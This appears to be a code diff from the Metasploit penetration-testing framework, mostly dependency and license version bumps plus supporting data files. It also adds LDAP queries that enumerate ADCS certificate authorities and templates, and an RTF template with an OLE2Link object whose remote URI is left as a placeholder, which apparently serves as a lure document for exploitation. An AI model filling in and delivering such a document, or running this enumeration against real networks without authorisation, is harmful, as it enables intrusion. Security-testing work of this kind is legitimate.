unf (0.1.4)
|
||||
unf_ext
|
||||
@@ -507,7 +507,7 @@ DEPENDENCIES
|
||||
memory_profiler
|
||||
metasploit-framework!
|
||||
octokit
|
||||
pry-byebug
|
||||
pry-byebug (~> 3.9.0)
|
||||
rake
|
||||
redcarpet
|
||||
rspec-rails
|
||||
|
||||
+44
-44
@@ -1,22 +1,22 @@
|
||||
This file is auto-generated by tools/dev/update_gem_licenses.sh
|
||||
Ascii85, 1.1.0, MIT
|
||||
actionpack, 6.1.6, MIT
|
||||
actionview, 6.1.6, MIT
|
||||
activemodel, 6.1.6, MIT
|
||||
activerecord, 6.1.6, MIT
|
||||
activesupport, 6.1.6, MIT
|
||||
addressable, 2.8.0, "Apache 2.0"
|
||||
actionpack, 6.1.6.1, MIT
|
||||
actionview, 6.1.6.1, MIT
|
||||
activemodel, 6.1.6.1, MIT
|
||||
activerecord, 6.1.6.1, MIT
|
||||
activesupport, 6.1.6.1, MIT
|
||||
addressable, 2.8.1, "Apache 2.0"
|
||||
afm, 0.2.2, MIT
|
||||
arel-helpers, 2.14.0, MIT
|
||||
ast, 2.4.2, MIT
|
||||
aws-eventstream, 1.2.0, "Apache 2.0"
|
||||
aws-partitions, 1.602.0, "Apache 2.0"
|
||||
aws-sdk-core, 3.131.2, "Apache 2.0"
|
||||
aws-sdk-ec2, 1.320.0, "Apache 2.0"
|
||||
aws-sdk-iam, 1.69.0, "Apache 2.0"
|
||||
aws-sdk-kms, 1.57.0, "Apache 2.0"
|
||||
aws-partitions, 1.624.0, "Apache 2.0"
|
||||
aws-sdk-core, 3.137.0, "Apache 2.0"
|
||||
aws-sdk-ec2, 1.329.0, "Apache 2.0"
|
||||
aws-sdk-iam, 1.70.0, "Apache 2.0"
|
||||
aws-sdk-kms, 1.58.0, "Apache 2.0"
|
||||
aws-sdk-s3, 1.114.0, "Apache 2.0"
|
||||
aws-sigv4, 1.5.0, "Apache 2.0"
|
||||
aws-sigv4, 1.5.1, "Apache 2.0"
|
||||
bcrypt, 3.1.18, MIT
|
||||
bcrypt_pbkdf, 1.1.0, MIT
|
||||
bindata, 2.4.10, ruby
|
||||
@@ -37,13 +37,13 @@ domain_name, 0.5.20190701, "Simplified BSD, New BSD, Mozilla Public License 2.0"
|
||||
ed25519, 1.3.0, MIT
|
||||
em-http-request, 1.1.7, MIT
|
||||
em-socksify, 0.3.2, MIT
|
||||
erubi, 1.10.0, MIT
|
||||
erubi, 1.11.0, MIT
|
||||
eventmachine, 1.2.7, "ruby, GPL-2.0"
|
||||
factory_bot, 6.2.1, MIT
|
||||
factory_bot_rails, 6.2.0, MIT
|
||||
faker, 2.21.0, MIT
|
||||
faraday, 2.3.0, MIT
|
||||
faraday-net_http, 2.0.3, MIT
|
||||
faker, 2.22.0, MIT
|
||||
faraday, 2.5.2, MIT
|
||||
faraday-net_http, 3.0.0, MIT
|
||||
faraday-retry, 2.0.0, MIT
|
||||
faye-websocket, 0.11.1, "Apache 2.0"
|
||||
ffi, 1.15.5, "New BSD"
|
||||
@@ -57,9 +57,9 @@ hrr_rb_ssh-ed25519, 0.4.2, "Apache 2.0"
|
||||
http-cookie, 1.0.5, MIT
|
||||
http_parser.rb, 0.8.0, MIT
|
||||
httpclient, 2.8.3, ruby
|
||||
i18n, 1.10.0, MIT
|
||||
i18n, 1.12.0, MIT
|
||||
io-console, 0.5.11, "ruby, Simplified BSD"
|
||||
irb, 1.3.6, "ruby, Simplified BSD"
|
||||
irb, 1.4.1, "ruby, Simplified BSD"
|
||||
jmespath, 1.6.1, "Apache 2.0"
|
||||
jsobfu, 0.4.2, "New BSD"
|
||||
json, 2.6.2, ruby
|
||||
@@ -69,19 +69,19 @@ loofah, 2.18.0, MIT
|
||||
memory_profiler, 1.0.0, MIT
|
||||
metasm, 1.0.5, LGPL-2.1
|
||||
metasploit-concern, 4.0.4, "New BSD"
|
||||
metasploit-credential, 5.0.7, "New BSD"
|
||||
metasploit-framework, 6.2.10, "New BSD"
|
||||
metasploit-model, 4.0.5, "New BSD"
|
||||
metasploit-credential, 5.0.8, "New BSD"
|
||||
metasploit-framework, 6.2.18, "New BSD"
|
||||
metasploit-model, 4.0.6, "New BSD"
|
||||
metasploit-payloads, 2.0.94, "3-clause (or ""modified"") BSD"
|
||||
metasploit_data_models, 5.0.5, "New BSD"
|
||||
metasploit_payloads-mettle, 1.0.18, "3-clause (or ""modified"") BSD"
|
||||
method_source, 1.0.0, MIT
|
||||
mini_portile2, 2.8.0, MIT
|
||||
minitest, 5.16.1, MIT
|
||||
minitest, 5.16.3, MIT
|
||||
mqtt, 0.5.0, MIT
|
||||
msgpack, 1.5.3, "Apache 2.0"
|
||||
msgpack, 1.5.6, "Apache 2.0"
|
||||
multi_json, 1.15.0, MIT
|
||||
mustermann, 1.1.1, MIT
|
||||
mustermann, 2.0.2, MIT
|
||||
nessus_rest, 0.1.6, MIT
|
||||
net-ldap, 0.17.1, MIT
|
||||
net-protocol, 0.1.3, "ruby, Simplified BSD"
|
||||
@@ -90,42 +90,42 @@ net-ssh, 7.0.1, MIT
|
||||
network_interface, 0.0.2, MIT
|
||||
nexpose, 7.3.0, "New BSD"
|
||||
nio4r, 2.5.8, MIT
|
||||
nokogiri, 1.13.6, MIT
|
||||
nokogiri, 1.13.8, MIT
|
||||
nori, 2.6.0, MIT
|
||||
octokit, 4.25.1, MIT
|
||||
openssl-ccm, 1.2.2, MIT
|
||||
openssl-cmac, 2.0.1, MIT
|
||||
openssl-ccm, 1.2.3, MIT
|
||||
openssl-cmac, 2.0.2, MIT
|
||||
openvas-omp, 0.0.4, MIT
|
||||
packetfu, 1.1.13, BSD
|
||||
parallel, 1.22.1, MIT
|
||||
parser, 3.1.2.0, MIT
|
||||
parser, 3.1.2.1, MIT
|
||||
patch_finder, 1.0.2, "New BSD"
|
||||
pcaprub, 0.13.1, LGPL-2.1
|
||||
pdf-reader, 2.10.0, MIT
|
||||
pg, 1.4.1, "Simplified BSD"
|
||||
pg, 1.4.3, "Simplified BSD"
|
||||
pry, 0.13.1, MIT
|
||||
pry-byebug, 3.9.0, MIT
|
||||
public_suffix, 4.0.7, MIT
|
||||
puma, 5.6.4, "New BSD"
|
||||
public_suffix, 5.0.0, MIT
|
||||
puma, 5.6.5, "New BSD"
|
||||
racc, 1.6.0, "ruby, Simplified BSD"
|
||||
rack, 2.2.4, MIT
|
||||
rack-protection, 2.2.0, MIT
|
||||
rack-protection, 2.2.2, MIT
|
||||
rack-test, 2.0.2, MIT
|
||||
rails-dom-testing, 2.0.3, MIT
|
||||
rails-html-sanitizer, 1.4.3, MIT
|
||||
railties, 6.1.6, MIT
|
||||
railties, 6.1.6.1, MIT
|
||||
rainbow, 3.1.1, MIT
|
||||
rake, 13.0.6, MIT
|
||||
rb-readline, 0.5.5, BSD
|
||||
recog, 2.3.23, unknown
|
||||
redcarpet, 3.5.1, MIT
|
||||
regexp_parser, 2.5.0, MIT
|
||||
reline, 0.2.5, ruby
|
||||
reline, 0.3.1, ruby
|
||||
rex-arch, 0.1.14, "New BSD"
|
||||
rex-bin_tools, 0.1.8, "New BSD"
|
||||
rex-core, 0.1.28, "New BSD"
|
||||
rex-encoder, 0.1.6, "New BSD"
|
||||
rex-exploitation, 0.1.33, "New BSD"
|
||||
rex-exploitation, 0.1.35, "New BSD"
|
||||
rex-java, 0.1.6, "New BSD"
|
||||
rex-mime, 0.1.7, "New BSD"
|
||||
rex-nop, 0.1.2, "New BSD"
|
||||
@@ -134,10 +134,10 @@ rex-powershell, 0.1.96, "New BSD"
|
||||
rex-random_identifier, 0.1.8, "New BSD"
|
||||
rex-registry, 0.1.4, "New BSD"
|
||||
rex-rop_builder, 0.1.4, "New BSD"
|
||||
rex-socket, 0.1.40, "New BSD"
|
||||
rex-socket, 0.1.41, "New BSD"
|
||||
rex-sslscan, 0.1.7, "New BSD"
|
||||
rex-struct2, 0.1.3, "New BSD"
|
||||
rex-text, 0.2.38, "New BSD"
|
||||
rex-text, 0.2.45, "New BSD"
|
||||
rex-zip, 0.1.4, "New BSD"
|
||||
rexml, 3.2.5, "Simplified BSD"
|
||||
rkelly-remix, 0.0.7, MIT
|
||||
@@ -148,32 +148,32 @@ rspec-mocks, 3.11.1, MIT
|
||||
rspec-rails, 5.1.2, MIT
|
||||
rspec-rerun, 1.1.0, MIT
|
||||
rspec-support, 3.11.0, MIT
|
||||
rubocop, 1.31.1, MIT
|
||||
rubocop-ast, 1.18.0, MIT
|
||||
rubocop, 1.35.1, MIT
|
||||
rubocop-ast, 1.21.0, MIT
|
||||
ruby-macho, 3.0.0, MIT
|
||||
ruby-prof, 1.4.2, "Simplified BSD"
|
||||
ruby-progressbar, 1.11.0, MIT
|
||||
ruby-rc4, 0.1.5, MIT
|
||||
ruby2_keywords, 0.0.5, "ruby, Simplified BSD"
|
||||
ruby_smb, 3.1.6, "New BSD"
|
||||
ruby_smb, 3.2.0, "New BSD"
|
||||
rubyntlm, 0.6.3, MIT
|
||||
rubyzip, 2.3.2, "Simplified BSD"
|
||||
sawyer, 0.9.2, MIT
|
||||
simplecov, 0.18.2, MIT
|
||||
simplecov-html, 0.12.3, MIT
|
||||
simpleidn, 0.2.1, MIT
|
||||
sinatra, 2.2.0, MIT
|
||||
sinatra, 2.2.2, MIT
|
||||
sqlite3, 1.4.4, "New BSD"
|
||||
sshkey, 2.0.0, MIT
|
||||
swagger-blocks, 3.0.0, MIT
|
||||
thin, 1.8.1, "GPL-2.0+, ruby"
|
||||
thor, 1.2.1, MIT
|
||||
tilt, 2.0.10, MIT
|
||||
tilt, 2.0.11, MIT
|
||||
timecop, 0.9.5, MIT
|
||||
timeout, 0.3.0, "ruby, Simplified BSD"
|
||||
ttfunk, 1.7.0, "Nonstandard, GPL-2.0, GPL-3.0"
|
||||
tzinfo, 2.0.4, MIT
|
||||
tzinfo-data, 1.2022.1, MIT
|
||||
tzinfo, 2.0.5, MIT
|
||||
tzinfo-data, 1.2022.3, MIT
|
||||
unf, 0.1.4, "2-clause BSDL"
|
||||
unf_ext, 0.0.8.2, MIT
|
||||
unicode-display_width, 2.2.0, MIT
|
||||
|
||||
@@ -1,3 +1,6 @@
|
||||
require 'fiddle'
|
||||
Fiddle.const_set(:VERSION, '0.0.0') unless Fiddle.const_defined?(:VERSION)
|
||||
|
||||
require 'rails'
|
||||
require File.expand_path('../boot', __FILE__)
|
||||
|
||||
|
||||
@@ -0,0 +1,14 @@
|
||||
openssl_conf = openssl_init
|
||||
|
||||
[openssl_init]
|
||||
providers = provider_sect
|
||||
|
||||
[provider_sect]
|
||||
default = default_sect
|
||||
legacy = legacy_sect
|
||||
|
||||
[default_sect]
|
||||
activate = 1
|
||||
|
||||
[legacy_sect]
|
||||
activate = 1
|
||||
@@ -1,5 +1,28 @@
|
||||
---
|
||||
queries:
|
||||
- action: ENUM_ADCS_CAS
|
||||
description: 'Enumerate ADCS certificate authorities.'
|
||||
base_dn_prefix: 'CN=Enrollment Services,CN=Public Key Services,CN=Services,CN=Configuration'
|
||||
filter: '(objectClass=pKIEnrollmentService)'
|
||||
attributes:
|
||||
- cn
|
||||
- name
|
||||
- cACertificateDN
|
||||
- dNSHostname
|
||||
- certificateTemplates
|
||||
- action: ENUM_ADCS_CERT_TEMPLATES
|
||||
description: 'Enumerate ADCS certificate templates.'
|
||||
base_dn_prefix: 'CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration'
|
||||
filter: '(objectClass=pkicertificatetemplate)'
|
||||
attributes:
|
||||
- cn
|
||||
- name
|
||||
- displayName
|
||||
- msPKI-Enrollment-Flag
|
||||
- msPKI-Private-Key-Flag
|
||||
- msPKI-Certificate-Name-Flag
|
||||
- msPKI-RA-Signature
|
||||
- pKIExtendedKeyUsage
|
||||
- action: ENUM_ALL_OBJECT_CLASS
|
||||
description: 'Dump all objects containing any objectClass field.'
|
||||
filter: '(objectClass=*)'
|
||||
|
||||
@@ -2,6 +2,7 @@
|
||||
queries:
|
||||
# - action: SAMPLE_ACTION
|
||||
# description: 'A description.'
|
||||
# # base_dn_prefix: 'An optional string to prefix to the Base DN'
|
||||
# filter: '(objectClass=*)'
|
||||
# attributes:
|
||||
# - dn
|
||||
|
||||
@@ -186,6 +186,9 @@
|
||||
{
|
||||
"name": "Exchange Server 2013",
|
||||
"builds": [
|
||||
"15.0.1497.40",
|
||||
"15.0.1497.36",
|
||||
"15.0.1497.33",
|
||||
"15.0.1497.28",
|
||||
"15.0.1497.26",
|
||||
"15.0.1497.24",
|
||||
@@ -226,6 +229,12 @@
|
||||
{
|
||||
"name": "Exchange Server 2016",
|
||||
"builds": [
|
||||
"15.1.2507.12",
|
||||
"15.1.2507.9",
|
||||
"15.1.2507.6",
|
||||
"15.1.2375.31",
|
||||
"15.1.2375.28",
|
||||
"15.1.2375.24",
|
||||
"15.1.2375.18",
|
||||
"15.1.2375.17",
|
||||
"15.1.2375.12",
|
||||
@@ -280,6 +289,12 @@
|
||||
{
|
||||
"name": "Exchange Server 2019",
|
||||
"builds": [
|
||||
"15.2.1118.12",
|
||||
"15.2.1118.9",
|
||||
"15.2.1118.7",
|
||||
"15.2.986.29",
|
||||
"15.2.986.26",
|
||||
"15.2.986.22",
|
||||
"15.2.986.15",
|
||||
"15.2.986.14",
|
||||
"15.2.986.9",
|
||||
@@ -318,4 +333,4 @@
|
||||
"eol": false
|
||||
}
|
||||
]
|
||||
}
|
||||
}
|
||||
|
||||
@@ -0,0 +1,30 @@
|
||||
{\rtf1\adeflang1025\ansi\ansicpg1252\uc1\adeff31507\deff0\stshfdbch31506\stshfloch31506\stshfhich31506\stshfbi31507\deflang1033\deflangfe1033\themelang1033\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\f34\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}Cambria Math;}
|
||||
\pard\plain \ltrpar\ql \li0\ri0\sa160\sl259\slmult1\widctlpar\wrapdefault\aspalpha\aspnum\faauto\adjustright\rin0\lin0\itap0\pararsid15608771 \rtlch\fcs1 \af31507\afs22\alang1025 \ltrch\fcs0 \f31506\fs22\lang1033\langfe1033\cgrid\langnp1033\langfenp1033
|
||||
{\pard\plain \ltrpar\ql \li0\ri0\sa160\sl259\slmult1\widctlpar\wrapdefault\aspalpha\aspnum\faauto\adjustright\rin0\lin0\itap0\pararsid15608771 \rtlch\fcs1 \af31507\afs22\alang1025 \ltrch\fcs0 \f31506\fs22\lang1033\langfe1033\cgrid\langnp1033\langfenp1033
|
||||
{\object\objautlink\rsltpict\objw4321\objh4321\objscalex1\objscaley1{\*\objclass REPLACE_WITH_URI_STRING}{\*\oleclsid \'7b00000300-0000-0000-C000-000000000046\'7d}{\*\objdata 010500000200000009000000
|
||||
4f4c45324c696e6b000000000000000000000c0000
|
||||
d0cf11e0a1b11ae1000000000000000000000000000000003e000300feff0900060000000000000000000000010000000100000000000000001000000200000001000000feffffff0000000000000000ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
|
||||
ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
|
||||
ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
|
||||
ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
|
||||
fffffffffffffffffdfffffffefffffffeffffff04000000feffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
|
||||
ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
|
||||
ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
|
||||
ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
|
||||
ffffffffffffffffffffffffffffffff52006f006f007400200045006e00740072007900000000000000000000000000000000000000000000000000000000000000000000000000000000000000000016000500ffffffffffffffff020000000c6ad98892f1d411a65f0040963251e5000000000000000000000000009e
|
||||
70f1e98bd80103000000c00200000000000001004f006c00650000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000a000200ffffffffffffffffffffffff00000000000000000000000000000000000000000000000000000000
|
||||
0000000000000000000000006b0100000000000003004f0062006a0049006e0066006f00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000120002010100000003000000ffffffff0000000000000000000000000000000000000000000000000000
|
||||
0000000000000000000006000000060000000000000003004c0069006e006b0049006e0066006f000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000014000200ffffffffffffffffffffffff000000000000000000000000000000000000000000000000
|
||||
00000000000000000000000007000000f0000000000000000100000002000000030000000400000005000000fefffffffeffffff08000000090000000a000000feffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
|
||||
ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
|
||||
ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
|
||||
ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
|
||||
ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff010000020900000001000000000000002a0000000403000000000000c0000000000000460200000021000c0000005f313731383030383936380000000000f90000000903000000000000c00000000000004602000000e0c9ea79f9bace11
|
||||
8c8200aa004ba90bb20000REPLACE_WITH_URI_STRING_UTF16000000795881f43b1d7f48af2c825dc485276300000000a5ab00030403000000000000c0000000000000460200000021000100000000ffffffff0000000000000000000000000000000000000000ffffffff00000000000000
|
||||
0000000000000000000000000000000000000000000000000000000000000000000000000000100003000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000004c00REPLACE_WITH_URI_STRING_ASCII
|
||||
0000bbbbcccc4cREPLACE_WITH_URI_STRING_UTF16
|
||||
000000000000000000000000000000000000000000000000000000000000000000000000000000
|
||||
000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
|
||||
000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
|
||||
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000105000000000000}}}}}
|
||||
}}}}
|
||||
@@ -0,0 +1,297 @@
|
||||
---
|
||||
AdapFileAuditLog:
|
||||
- UNIQUE_ID
|
||||
# - MONITOR_ID
|
||||
# - EVENT_NUMBER
|
||||
- TIME_GENERATED
|
||||
# - EVENT_TYPE
|
||||
# - EVENT_TYPE_TEXT
|
||||
- SOURCE
|
||||
# - REMARKS
|
||||
# - OBJECT_SERVER
|
||||
# - OBJECT_TYPE
|
||||
# - HANDLE_ID
|
||||
# - OBJECT_NAME
|
||||
# - UNC_NAME
|
||||
# - FILE_NAME
|
||||
# - FILE_LOCATION
|
||||
# - LOGON_ID
|
||||
# - OPERATION_ID
|
||||
- PRIMARY_USER_NAME
|
||||
- PRIMARY_DOMAIN
|
||||
- PRIMARY_LOGIN_ID
|
||||
- CLIENT_USER_NAME
|
||||
- CLIENT_DOMAIN
|
||||
- CLIENT_LOGIN_ID
|
||||
- DOMAIN
|
||||
# - RESTRICTED_SID_COUNT
|
||||
# - ACCESSES
|
||||
# - PROCESS_ID
|
||||
# - PRIVILEGES_USED
|
||||
# - PRIVILEGES
|
||||
# - PROCESS_NAME
|
||||
# - NEW_SEC_DESC
|
||||
# - ORIGINAL_SEC_DESC
|
||||
# - NEW_PERMISSIONS
|
||||
# - ORIGINAL_PERMISSIONS
|
||||
# - ACL_CHANGE
|
||||
# - TRANSACTION_ID
|
||||
# - ACCESS_MASK
|
||||
- USERNAME
|
||||
# - RECORD_NUMBER
|
||||
- USER_SID
|
||||
# - ACCESS_TYPE
|
||||
# - ACCESS_TYPE_TEXT
|
||||
# - FORMAT_MESSAGE
|
||||
- USER_SAM_ACCOUNT_NAME
|
||||
- USER_DISPLAY_NAME
|
||||
- USER_PRINCIPAL_NAME
|
||||
- USER_GUID
|
||||
- USER_DISTINGUISH_NAME
|
||||
- USER_OU_GUID
|
||||
- USER_DEPARTMENT
|
||||
- USER_MANAGER_NAME
|
||||
- SOURCE_NAME
|
||||
# - LOG_FILE_NAME
|
||||
# - KEYWORDS_NAME
|
||||
# - TASK_CATEGORY_NAME
|
||||
# - TASK_CATEGORY_ID
|
||||
# - FILE_TYPE
|
||||
- SHARE_NAME
|
||||
# - EXTRA_COLUMN1
|
||||
# - EXTRA_COLUMN2
|
||||
# - EXTRA_COLUMN3
|
||||
# - EXTRA_COLUMN4
|
||||
# - EXTRA_COLUMN5
|
||||
# - EXTRA_COLUMN6
|
||||
# - EXTRA_COLUMN7
|
||||
# - EXTRA_COLUMN8
|
||||
# - EXTRA_COLUMN9
|
||||
# - EXTRA_COLUMN10
|
||||
- CONFIGURED_DOMAIN_NAME
|
||||
# - NEW_PRIVILEGES_USED
|
||||
AdapPowershellAuditLog:
|
||||
- UNIQUE_ID
|
||||
# - COMMAND_NAME
|
||||
# - COMMAND_PATH
|
||||
# - COMMAND_TYPE
|
||||
# - COMMAND_INVOCATION
|
||||
- EVENT_MACHINE_NAME
|
||||
- EVENT_MACHINE_DOMAIN
|
||||
# - EVENT_CATEGORY
|
||||
# - EVENT_NUMBER
|
||||
# - EVENT_TYPE
|
||||
# - HOST_APPLICATION
|
||||
- HOST_NAME
|
||||
# - SCRIPTBLOCK_ID
|
||||
# - RECORD_NUMBER
|
||||
# - SCRIPT_NAME
|
||||
# - SCRIPT_DATA
|
||||
# - SCRIPT_SNO
|
||||
# - SEVERITY
|
||||
# - TIME_GENERATED
|
||||
- CALLER_USER_NAME
|
||||
- CALLER_USER_SID
|
||||
# - TOTAL_NO
|
||||
# - MONITOR_ID
|
||||
# - EVENT_TYPE_TEXT
|
||||
# - FORMAT_MESSAGE
|
||||
# - SCRIPT_DATA_JSON
|
||||
AdapSysmonAuditLog:
|
||||
- UNIQUE_ID
|
||||
# - MONITOR_ID
|
||||
- TIME_GENERATED
|
||||
# - RECORD_NUMBER
|
||||
# - EVENT_NUMBER
|
||||
# - EVENT_TYPE
|
||||
# - EVENT_TYPE_TEXT
|
||||
- EVENT_MACHINE_NAME
|
||||
- EVENT_MACHINE_DOMAIN
|
||||
# - REMARKS
|
||||
# - FORMAT_MESSAGE
|
||||
- CALLER_USER_SID
|
||||
- CALLER_USER_NAME
|
||||
- CALLER_USER_DOMAIN
|
||||
- CALLER_USER_LOGON_ID
|
||||
- CLIENT_MACHINE_IPADDRESS
|
||||
- CLIENT_MACHINE_NAME
|
||||
- CLIENT_MACHINE_DOMAIN
|
||||
- CALLER_USER_DN
|
||||
- CALLER_USER_OU_GUID
|
||||
- CALLER_USER_DISPLAY_NAME
|
||||
- PROCESS_NAME
|
||||
- PARENT_PROCESS_NAME
|
||||
# - PROCESS_ID
|
||||
# - FILE_NAME
|
||||
# - INTEGRITY_LEVEL
|
||||
# - QUERY_STRING
|
||||
# - PARENT_PROCESS_ID
|
||||
# - PARENT_CMD_LINE
|
||||
# - QUERY_STATUS
|
||||
# - ACCESS_TYPE_TEXT
|
||||
# - ACCESS_TIME
|
||||
# - CREATION_TIME
|
||||
# - PREVIOUS_CREATION_TIME
|
||||
# - PROCESS_GUID
|
||||
# - RULE_NAME
|
||||
# - LOADED_FILE
|
||||
# - HASHED_VALUE
|
||||
# - FOLDER_PATH
|
||||
# - PARENT_PROCESS_GUID
|
||||
# - SESSION_ID
|
||||
# - IS_SIGNED
|
||||
# - SIGNATURE
|
||||
# - SIGNATURE_STATUS
|
||||
# - IS_ARCHIVED
|
||||
# - THREAD_ID
|
||||
- SOURCE_IP_ADDRESS
|
||||
# - PRODUCT_DESCRIPTION
|
||||
- DESTINATION_IP_ADDRESS
|
||||
- DESTINATION_HOST_NAME
|
||||
# - PORT_NUMBER
|
||||
# - PARENT_PORT_NUMBER
|
||||
# - REGISTRY_NAME
|
||||
# - QUERY_RESULT
|
||||
# - SCHEMA_VERSION
|
||||
# - WORKING_DIRECTORY
|
||||
- COMPANY_NAME
|
||||
- SOURCE_HOST_NAME
|
||||
- CALLER_USER_LOGON_GUID
|
||||
# - PARENT_PORT_NAME
|
||||
# - SERVICE_VERSION
|
||||
# - FILE_VERSION
|
||||
# - PRODUCT_NAME
|
||||
# - PORT_NAME
|
||||
AdapDNSAuditLog:
|
||||
- UNIQUE_ID
|
||||
# - MONITOR_ID
|
||||
# - EVENT_NUMBER
|
||||
- TIME_GENERATED
|
||||
# - EVENT_TYPE
|
||||
# - EVENT_TYPE_TEXT
|
||||
- EVENT_MACHINE_NAME
|
||||
- EVENT_MACHINE_DOMAIN
|
||||
# - REMARKS
|
||||
# - DNS_SETTING
|
||||
# - LOOKUP
|
||||
# - DNS_SCOPE
|
||||
# - DNS_OBJECT_GUID
|
||||
# - DISTINATION_ZONE
|
||||
# - OLD_DIRECTORY_PARTITION
|
||||
# - USER_ACTION
|
||||
- CALLER_USER_DOMAIN
|
||||
- CALLER_USER_NAME
|
||||
- CLIENT_MACHINE_DOMAIN
|
||||
- CALLER_USER_LOGON_ID
|
||||
# - DNS_QUERY_NAME
|
||||
# - OBJECT_CLASS_TEXT
|
||||
# - DNS_SETTING_NAME
|
||||
- DISTINGUISHED_NAME
|
||||
# - OBJECT_GUID
|
||||
# - DNS_ZONE_NAME
|
||||
# # - REGISTRY_VALUE
|
||||
# - FORMAT_MESSAGE
|
||||
# - RECORD_NUMBER
|
||||
- CALLER_USER_SID
|
||||
# - DNS_SETTING_VALUE
|
||||
# - CORRELATION_ID
|
||||
# - ATTRIBUTES_NEW_VALUE
|
||||
# - ATTRIBUTES_OLD_VALUE
|
||||
# - TTL_VALUE
|
||||
# - DNS_MGMT_TYPE
|
||||
# - DNS_ZONE_TYPE
|
||||
# - DNS_ZONE_TYPE_STRING
|
||||
- CALLER_USER_DISPLAY_NAME
|
||||
- CALLER_USER_DN
|
||||
- CALLER_USER_OU_GUID
|
||||
- CALLER_USER_GUID
|
||||
# - OP_APPLN_CORRELATION_ID
|
||||
# - OP_TREE_DELETE
|
||||
# - DIRECTORY_PARTITION
|
||||
# - ROOT_CAUSE
|
||||
# - FILE_NAME
|
||||
# - VIRTUALIZATION_INSTANCE
|
||||
# - ERROR_CODE_TEXT
|
||||
# - DNS_RESPONSE_DATA
|
||||
- DNS_SERVER_NAME
|
||||
# - LINE_NUMBER
|
||||
- CLIENT_MACHINE_IPADDRESS
|
||||
- CLIENT_MACHINE_NAME
|
||||
# - NEXT_SCAVENGE_SCHEDULE
|
||||
# - RECORD_NAME
|
||||
# - RUNNING_TIME
|
||||
# - TIME_OUT
|
||||
# - DNS_NODE
|
||||
# - DNS_ZONE_FILE
|
||||
- FOREST_NAME
|
||||
# - SCAVENGED_NODES
|
||||
# - SCAVENGED_PERC
|
||||
# - SCAVENGED_RECORDS
|
||||
# - SERVICE_NAMES
|
||||
# - SLEEPING_TIME
|
||||
# - VISITED_NODES
|
||||
# - VISITED_ZONES
|
||||
AdapADReplicationAuditLog:
|
||||
- UNIQUE_ID
|
||||
# - MONITOR_ID
|
||||
- TIME_GENERATED
|
||||
# - RECORD_NUMBER
|
||||
- EVENT_MACHINE_NAME
|
||||
- EVENT_MACHINE_DOMAIN
|
||||
# - EVENT_NUMBER
|
||||
# - EVENT_TYPE
|
||||
# - EVENT_TYPE_TEXT
|
||||
# - FORMAT_MESSAGE
|
||||
# - REMARKS
|
||||
- CALLER_USER_DOMAIN
|
||||
- CALLER_USER_NAME
|
||||
- CALLER_USER_SID
|
||||
- CALLER_USER_DN
|
||||
- CALLER_USER_OU_GUID
|
||||
- CALLER_USER_DISPLAY_NAME
|
||||
- CALLER_USER_LOGON_ID
|
||||
- CALLER_USER_GUID
|
||||
- CLIENT_MACHINE_IPADDRESS
|
||||
- CLIENT_MACHINE_NAME
|
||||
- CLIENT_MACHINE_DOMAIN
|
||||
# - ALTERNATE_USER_ACTION
|
||||
